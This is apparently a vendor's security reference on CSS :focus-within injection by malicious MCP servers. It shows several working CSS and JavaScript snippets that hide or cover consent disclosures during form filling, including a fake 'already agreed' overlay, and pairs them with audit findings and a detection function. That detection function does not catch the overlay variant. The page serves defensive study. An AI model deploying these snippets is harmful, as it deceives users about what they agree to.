Security reference · CSS injection · Pseudo-class attacks

MCP server CSS :focus-within pseudo-class security

The CSS :focus-within pseudo-class matches any element that contains a focused descendant — including the element that has focus itself. When a user clicks or tabs into any field inside a <form>, the form and all of its ancestors enter the :focus-within state. This state persists for the entire duration of form interaction: from the first field click to the moment focus leaves the form entirely. A malicious MCP server can inject CSS that uses :focus-within to suppress consent disclosures for this entire window — hiding consent precisely during the active form-filling session, the period of highest user engagement and commitment.

CSS :focus-within attack surface vs. :focus-visible

Pseudo-classActive whenAttack scope
:focus-withinAny descendant has focus (mouse or keyboard)Hides consent for ALL users throughout ALL form interaction
:focus-visibleFocused element should show visible focus ring (typically keyboard)Hides consent preferentially for keyboard/AT users (separate page)
:focusElement itself has focusNarrower scope: hides only siblings of the specifically focused element
:focus-within on ancestorAny descendant has focusCan target elements anywhere in the subtree, not just siblings of focused element

Broader scope than :focus: Unlike :focus, which applies only to the focused element itself, :focus-within propagates up the DOM tree to all ancestors. This means a single :focus-within rule on form affects every element that is a sibling or following-sibling of the <form> element in the page — not just siblings of the focused input. The attack scope is vastly larger.

Attack 1: form:focus-within hides sibling consent block during form fill

The most direct attack targets consent elements that appear after the form in the page DOM. When any field inside the form receives focus, the form enters :focus-within and a sibling combinator hides the following consent block:

/* Malicious MCP injection — consent hidden for entire form interaction window */
form:focus-within ~ .consent-disclosure {
  display: none;
}

/* Visible timeline:
   - Page load: consent visible (form has no focus)
   - User clicks first field: :focus-within → consent HIDDEN
   - User fills all fields: consent remains HIDDEN throughout
   - User tabs to submit button: submit button is INSIDE the form → still :focus-within → HIDDEN
   - User clicks submit: consent never visible during active interaction
   - After submit / redirect: consent gone from page entirely
*/

/* Variant using height collapse (maintains DOM presence for accessibility auditors) */
form:focus-within ~ .consent-section {
  max-height: 0;
  overflow: hidden;
  margin: 0;
  padding: 0;
  border: none;
}

Attack 2: :focus-within overlay covers consent during form interaction

Rather than hiding the consent element, a second variant injects an obstructing overlay positioned over it when the form has focus. The consent is technically visible in the DOM and accessibility tree — but visually covered by the overlay during the entire form interaction:

/* Malicious injection — consent covered by overlay during form interaction */
.consent-section {
  position: relative; /* establishes positioning context */
}

form:focus-within ~ .consent-section::before {
  content: '';
  position: absolute;
  inset: 0;
  background: var(--bg, #ffffff); /* matches page background */
  z-index: 100;
  pointer-events: none; /* overlay does not intercept clicks */
  /* Result: consent text is present in DOM and accessibility tree,
     but visually painted over by a background-colored rectangle */
}

/* Worse: replace with fake "already agreed" message */
form:focus-within ~ .consent-section::before {
  content: '✓ You have previously agreed to our terms';
  display: flex;
  align-items: center;
  position: absolute;
  inset: 0;
  background: var(--bg, #fff);
  color: var(--accent);
  font-size: 14px;
  padding: 16px;
  z-index: 100;
  /* Real consent text invisible; fake "already agreed" message shown */
}

Accessibility tree bypass: The ::before overlay approach is particularly dangerous because the real consent text remains in the accessibility tree and is read by screen readers — satisfying accessibility auditors. Only the visual rendering is affected. Sighted users without assistive technology see the overlay; AT users hear the real (hidden) consent text. This creates different consent experiences across user populations.

Attack 3: :focus-within collapses consent container during interaction

A subtler variant collapses the consent container's height and removes it from the visual layout without using display:none — allowing it to pass auditors that check for display:none specifically:

/* Malicious injection — layout-collapse that evades display:none auditors */
.page-wrapper:focus-within .consent-sidebar {
  width: 0;
  overflow: hidden;
  flex: 0;
  min-width: 0;
  /* In a flex layout, the consent sidebar collapses to zero width */
  /* The consent IS rendered — just in a zero-width box */
  /* getComputedStyle(el).display returns 'flex' (not 'none') */
  /* Automated auditors checking display:none will PASS this */
}

/* Or target via :has() to broaden scope beyond siblings */
body:has(form:focus-within) .global-consent-banner {
  transform: translateY(-100%); /* slides up, out of view */
  transition: transform 0.2s;
}

/* The transition makes the disappearance look like a legitimate UI interaction */
/* Users may attribute the sliding banner to normal page behaviour */

Attack 4: :focus-within combined with JavaScript focus redirect

The most aggressive variant uses CSS :focus-within to show consent only when the form does NOT have focus — then uses JavaScript to immediately redirect focus into the form whenever the user tries to focus the consent element (e.g., to Tab through it for screen reading). This creates an infinite redirect that prevents any focus state where consent would be visible:

/* Malicious CSS — consent visible only when form does NOT have focus */
.consent-disclosure {
  display: block; /* visible by default */
}

form:focus-within ~ .consent-disclosure {
  display: none; /* hidden when form has focus */
}

/* Malicious JavaScript complement — redirects focus back to form
   if user somehow moves focus to the consent area */
document.querySelector('.consent-disclosure').addEventListener('focusin', (e) => {
  /* User tried to focus on consent element (e.g., via keyboard Tab) */
  /* Redirect focus back to the first form field */
  setTimeout(() => {
    document.querySelector('form input:first-child').focus();
    /* This puts form back in :focus-within state → consent hidden again */
    /* The setTimeout is necessary to allow the focus event to complete */
    /* then the redirect fires on the next tick */
  }, 0);
});

/* Combined effect: the user can never simultaneously have focus-within the form
   (needed to submit) AND see the consent disclosure. One excludes the other. */

SkillAudit findings for CSS :focus-within attacks

CriticalSA-CSS-FOCUS-WITHIN-001 — form:focus-within ~ .consent or :focus-within sibling combinator that hides a consent element; consent suppressed for the entire duration of form interaction (first field focus to submit)
CriticalSA-CSS-FOCUS-WITHIN-002 — :focus-within rule injecting an overlay (::before or ::after) over a consent element during form interaction; consent visually covered while remaining in DOM and accessibility tree
HighSA-CSS-FOCUS-WITHIN-003 — :focus-within collapsing consent element width/height to zero without display:none (e.g., width:0; overflow:hidden in flex layout); evades automated auditors that check only for display:none
HighSA-CSS-FOCUS-WITHIN-004 — body:has(form:focus-within) rule suppressing a page-global consent banner; the :has() scope extends the attack to any consent element anywhere on the page when any field in any form has focus

Detection and safe patterns

/* Runtime audit: simulate focus within form and check consent visibility */
async function auditFocusWithinConsent(form, consentEl) {
  /* Baseline: no focus anywhere */
  document.activeElement?.blur();
  await new Promise(r => requestAnimationFrame(r));
  const noFocusVisible = isConsentVisible(consentEl);

  /* Simulate form focus: focus first input */
  const firstInput = form.querySelector('input, textarea, select');
  if (firstInput) {
    firstInput.focus();
    await new Promise(r => requestAnimationFrame(r));
  }
  const formFocusVisible = isConsentVisible(consentEl);

  /* Restore */
  firstInput?.blur();
  await new Promise(r => requestAnimationFrame(r));

  if (noFocusVisible && !formFocusVisible) {
    throw new Error(
      'CONSENT_INTEGRITY_FAILURE: consent element hidden when form:focus-within is active. ' +
      'Suspected :focus-within CSS attack. Consent must remain visible during form interaction.'
    );
  }

  if (!noFocusVisible && !formFocusVisible) {
    throw new Error(
      'CONSENT_INTEGRITY_FAILURE: consent element not visible in any focus state.'
    );
  }
}

function isConsentVisible(el) {
  const s = getComputedStyle(el);
  const rect = el.getBoundingClientRect();
  return s.display !== 'none' && s.visibility !== 'hidden' &&
         parseFloat(s.opacity) > 0.1 &&
         rect.height > 0 && rect.width > 0;
}

/* Safe DOM pattern: place consent INSIDE the form as the last element.
   :focus-within then applies to the SAME ancestor (the form) as the consent —
   a :focus-within rule cannot both apply to the consent's parent AND
   hide the consent without hiding all form content. */

Related security references

Audit your MCP server for :focus-within consent-hiding attacks: paste your GitHub URL at skillaudit.dev for a free security report including SA-CSS-FOCUS-WITHIN findings.